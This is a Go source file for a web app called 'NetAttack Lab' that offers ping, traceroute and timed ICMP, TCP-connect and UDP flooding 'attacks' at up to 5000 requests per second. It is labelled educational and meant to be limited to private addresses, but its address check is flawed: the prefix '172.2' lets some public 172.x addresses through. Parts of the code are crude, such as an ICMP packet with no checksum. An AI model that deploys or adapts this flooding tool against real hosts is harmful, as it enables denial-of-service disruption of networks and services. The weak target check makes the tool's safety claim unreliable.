package main

import (
	"context"
	"embed"
	"encoding/json"
	"fmt"
	"html/template"
	"io/fs"
	"log"
	"net"
	"net/http"
	"os/exec"
	"strconv"
	"strings"
	"sync"
	"sync/atomic"
	"time"
)

//go:embed templates/*
var templatesFS embed.FS

//go:embed static/*
var staticFS embed.FS

// Attack session tracker
type AttackSession struct {
	ID       string             `json:"id"`
	Target   string             `json:"target"`
	Type     string             `json:"type"`
	Status   string             `json:"status"`
	Started  time.Time          `json:"started"`
	Duration int                `json:"duration"`
	Requests int                `json:"requests"`
	Success  int32              `json:"success"`
	Failed   int32              `json:"failed"`
	Active   bool               `json:"active"`
	Cancel   context.CancelFunc `json:"-"`
}

type NetTool struct {
	sessions map[string]*AttackSession
	mutex    sync.RWMutex
}

var (
	netTool   = &NetTool{sessions: make(map[string]*AttackSession)}
	templates *template.Template
)

const (
	MAX_CONCURRENT_ATTACKS = 3
	MAX_DURATION           = 360 // seconds
	MAX_REQUESTS_PER_SEC   = 5000
)

func init() {
	log.SetFlags(log.LstdFlags | log.Lshortfile)
}

func main() {
	// Load embedded templates
	var err error
	templates, err = template.ParseFS(templatesFS, "templates/*.html")
	if err != nil {
		log.Fatal("Error loading templates:", err)
	}

	// Serve static files
	staticSubFS, err := fs.Sub(staticFS, "static")
	if err != nil {
		log.Fatal("Error creating static subFS:", err)
	}
	http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.FS(staticSubFS))))

	// API routes
	http.HandleFunc("/", homeHandler)
	http.HandleFunc("/api/ping", pingHandler)
	http.HandleFunc("/api/traceroute", tracerouteHandler)
	http.HandleFunc("/api/attack", attackHandler)
	http.HandleFunc("/api/status", statusHandler)
	http.HandleFunc("/api/stop", stopHandler)

	fmt.Println("==============================================")
	fmt.Println("🔥 NetAttack Lab - Educational Network Testing")
	fmt.Println("🌐 Server running on: http://localhost:8090")
	fmt.Println("⚠️  EDUCATIONAL USE ONLY - Test responsibly!")
	fmt.Println("==============================================")
	fmt.Println()

	log.Fatal(http.ListenAndServe(":8090", nil))
}

func homeHandler(w http.ResponseWriter, r *http.Request) {
	data := map[string]interface{}{
		"ActiveSessions": len(netTool.getActiveSessions()),
		"MaxConcurrent":  MAX_CONCURRENT_ATTACKS,
	}
	templates.ExecuteTemplate(w, "index.html", data)
}

func pingHandler(w http.ResponseWriter, r *http.Request) {
	if r.Method != "POST" {
		http.Error(w, "Method not allowed", 405)
		return
	}

	target := r.FormValue("target")

	if !isValidTarget(target) {
		w.Header().Set("Content-Type", "application/json")
		json.NewEncoder(w).Encode(map[string]string{"error": "Invalid target. Use localhost, 127.x.x.x, or 192.168.x.x"})
		return
	}

	// Execute ping command
	cmd := exec.Command("ping", "-c", "4", target)
	output, err := cmd.Output()

	result := map[string]interface{}{
		"target": target,
		"output": string(output),
	}

	if err != nil {
		result["error"] = err.Error()
	}

	w.Header().Set("Content-Type", "application/json")
	json.NewEncoder(w).Encode(result)
}

func tracerouteHandler(w http.ResponseWriter, r *http.Request) {
	if r.Method != "POST" {
		http.Error(w, "Method not allowed", 405)
		return
	}

	target := r.FormValue("target")

	if !isValidTarget(target) {
		w.Header().Set("Content-Type", "application/json")
		json.NewEncoder(w).Encode(map[string]string{"error": "Invalid target"})
		return
	}

	// Try traceroute or tracepath
	var cmd *exec.Cmd
	if _, err := exec.LookPath("traceroute"); err == nil {
		cmd = exec.Command("traceroute", "-m", "15", target)
	} else {
		cmd = exec.Command("tracepath", target)
	}

	output, err := cmd.Output()

	result := map[string]interface{}{
		"target": target,
		"output": string(output),
	}

	if err != nil {
		result["error"] = err.Error()
	}

	w.Header().Set("Content-Type", "application/json")
	json.NewEncoder(w).Encode(result)
}

func attackHandler(w http.ResponseWriter, r *http.Request) {
	if r.Method != "POST" {
		http.Error(w, "Method not allowed", 405)
		return
	}

	target := r.FormValue("target")
	attackType := r.FormValue("type")
	durationStr := r.FormValue("duration")
	intensityStr := r.FormValue("intensity")

	// Validation
	if !isValidTarget(target) {
		w.Header().Set("Content-Type", "application/json")
		json.NewEncoder(w).Encode(map[string]string{"error": "Invalid target. Only localhost and private IPs allowed for safety."})
		return
	}

	duration, err := strconv.Atoi(durationStr)
	if err != nil || duration < 1 || duration > MAX_DURATION {
		w.Header().Set("Content-Type", "application/json")
		json.NewEncoder(w).Encode(map[string]string{"error": fmt.Sprintf("Duration must be 1-%d seconds", MAX_DURATION)})
		return
	}

	intensity, err := strconv.Atoi(intensityStr)
	if err != nil || intensity < 1 || intensity > MAX_REQUESTS_PER_SEC {
		w.Header().Set("Content-Type", "application/json")
		json.NewEncoder(w).Encode(map[string]string{"error": fmt.Sprintf("Intensity must be 1-%d requests/sec", MAX_REQUESTS_PER_SEC)})
		return
	}

	// Check concurrent limit
	if len(netTool.getActiveSessions()) >= MAX_CONCURRENT_ATTACKS {
		w.Header().Set("Content-Type", "application/json")
		json.NewEncoder(w).Encode(map[string]string{"error": "Maximum concurrent attacks reached"})
		return
	}

	// Create attack session
	sessionID := fmt.Sprintf("attack_%d", time.Now().UnixNano())
	ctx, cancel := context.WithCancel(context.Background())

	session := &AttackSession{
		ID:       sessionID,
		Target:   target,
		Type:     attackType,
		Status:   "starting",
		Started:  time.Now(),
		Duration: duration,
		Requests: intensity,
		Active:   true,
		Cancel:   cancel,
	}

	netTool.mutex.Lock()
	netTool.sessions[sessionID] = session
	netTool.mutex.Unlock()

	// Start attack in background
	go runAttack(ctx, session)

	w.Header().Set("Content-Type", "application/json")
	json.NewEncoder(w).Encode(map[string]string{
		"sessionId": sessionID,
		"status":    "Attack initiated",
		"target":    target,
	})
}

func runAttack(ctx context.Context, session *AttackSession) {
	defer func() {
		session.Active = false
		session.Status = "completed"
	}()

	session.Status = "running"
	interval := time.Duration(1000/session.Requests) * time.Millisecond
	timeout := time.After(time.Duration(session.Duration) * time.Second)
	ticker := time.NewTicker(interval)
	defer ticker.Stop()

	for {
		select {
		case <-ctx.Done():
			session.Status = "stopped"
			return
		case <-timeout:
			return
		case <-ticker.C:
			go func() {
				switch session.Type {
				case "ping_flood":
					if err := sendPing(session.Target); err == nil {
						atomic.AddInt32(&session.Success, 1)
					} else {
						atomic.AddInt32(&session.Failed, 1)
					}
				case "tcp_syn":
					if err := sendTCPSyn(session.Target); err == nil {
						atomic.AddInt32(&session.Success, 1)
					} else {
						atomic.AddInt32(&session.Failed, 1)
					}
				case "udp_flood":
					if err := sendUDP(session.Target); err == nil {
						atomic.AddInt32(&session.Success, 1)
					} else {
						atomic.AddInt32(&session.Failed, 1)
					}
				}
			}()
		}
	}
}

func sendPing(target string) error {
	conn, err := net.Dial("ip4:icmp", target)
	if err != nil {
		return err
	}
	defer conn.Close()

	// Simple ICMP echo request simulation
	_, err = conn.Write([]byte{8, 0, 0, 0, 0, 1, 0, 1})
	return err
}

func sendTCPSyn(target string) error {
	conn, err := net.DialTimeout("tcp", target+":80", 1*time.Second)
	if err != nil {
		return err
	}
	conn.Close()
	return nil
}

func sendUDP(target string) error {
	conn, err := net.Dial("udp", target+":53")
	if err != nil {
		return err
	}
	defer conn.Close()

	_, err = conn.Write([]byte("test"))
	return err
}

func statusHandler(w http.ResponseWriter, r *http.Request) {
	sessions := netTool.getAllSessions()

	w.Header().Set("Content-Type", "application/json")
	json.NewEncoder(w).Encode(sessions)
}

func stopHandler(w http.ResponseWriter, r *http.Request) {
	if r.Method != "POST" {
		http.Error(w, "Method not allowed", 405)
		return
	}

	sessionID := r.FormValue("sessionId")

	netTool.mutex.Lock()
	if session, exists := netTool.sessions[sessionID]; exists && session.Active {
		session.Cancel()
		session.Status = "stopping"
	}
	netTool.mutex.Unlock()

	w.Header().Set("Content-Type", "application/json")
	json.NewEncoder(w).Encode(map[string]string{"status": "stopped"})
}

// Utility functions
func isValidTarget(target string) bool {
	// Only allow localhost and private IP ranges for safety
	if target == "localhost" || target == "127.0.0.1" {
		return true
	}

	ip := net.ParseIP(target)
	if ip == nil {
		return false
	}

	// Allow private IP ranges only
	if ip.IsLoopback() ||
		strings.HasPrefix(target, "192.168.") ||
		strings.HasPrefix(target, "10.") ||
		strings.HasPrefix(target, "172.16.") ||
		strings.HasPrefix(target, "172.17.") ||
		strings.HasPrefix(target, "172.18.") ||
		strings.HasPrefix(target, "172.19.") ||
		strings.HasPrefix(target, "172.2") ||
		strings.HasPrefix(target, "172.30.") ||
		strings.HasPrefix(target, "172.31.") {
		return true
	}

	return false
}

func (nt *NetTool) getActiveSessions() []*AttackSession {
	nt.mutex.RLock()
	defer nt.mutex.RUnlock()

	var active []*AttackSession
	for _, session := range nt.sessions {
		if session.Active {
			active = append(active, session)
		}
	}

	return active
}

func (nt *NetTool) getAllSessions() []*AttackSession {
	nt.mutex.RLock()
	defer nt.mutex.RUnlock()

	var sessions []*AttackSession
	for _, session := range nt.sessions {
		sessions = append(sessions, session)
	}

	return sessions
}